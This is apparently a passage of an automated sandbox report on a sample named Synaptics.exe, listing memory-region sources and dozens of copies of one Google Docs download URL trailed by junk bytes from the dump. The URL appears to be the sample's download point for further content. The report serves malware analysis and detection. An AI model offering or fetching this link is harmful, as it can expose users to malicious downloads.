Source: Synaptics.exe, 00000004.00000002.2258481290.0000000007160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbKOy
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbe
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbert$
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbl
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbw
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000720B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadceJa
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcell
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302288322.000000001CE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelle
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelle6
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadce~g
Source: Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadch-ua
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcom
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcs.cosV
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadctors
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcumen
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcumenQ
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd.
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd5-10
Source: Synaptics.exe, 00000004.00000002.2258481290.0000000007160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd:#f
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd=k
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddD
Source: Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddel=
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddk
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadds.c
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000055A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddt
Source: Synaptics.exe, 00000004.00000002.2258481290.0000000007160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddth:3
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302288322.000000001CE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade-in1
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeM
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeWM0c=
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadectedU
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2276956037.000000000E828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaded
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaded.m3
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadedZ
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadel
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadelle
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadellem
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadellem0
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadellem8
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadellemm
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadem
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloademW
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302288322.000000001CE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloademe
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaden
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenetX
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302288322.000000001CE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenetl
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenetlv
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenfe
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302288322.000000001CE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniy
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyo
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyoa
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyor...
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeporJ
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloader
Source: Synaptics.exe, 00000004.00000002.2258481290.0000000007160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadersio
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadesolv
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadesolv$
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadesolvw
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadet
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302288322.000000001CE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetlen
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf(
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfVN3a&
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfp
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000720B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgH
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000072BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgl
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgle.i
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgleco
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadglecoysN3c&
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgvt2.mVu3
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh-ua
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh:Q2
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhM
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhe
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhiCRh3m
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.0000000007160000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiI
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadick.c
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadid.c
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadient
Source: Synaptics.exe, 00000004.00000002.2258481290.0000000007160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadimag
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadin
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadin-O
Source: Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloading
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloading.:
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadisectH
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiy
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyFg
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor.
Source: Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2290419330.000000001797E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000720B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk63
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadkD
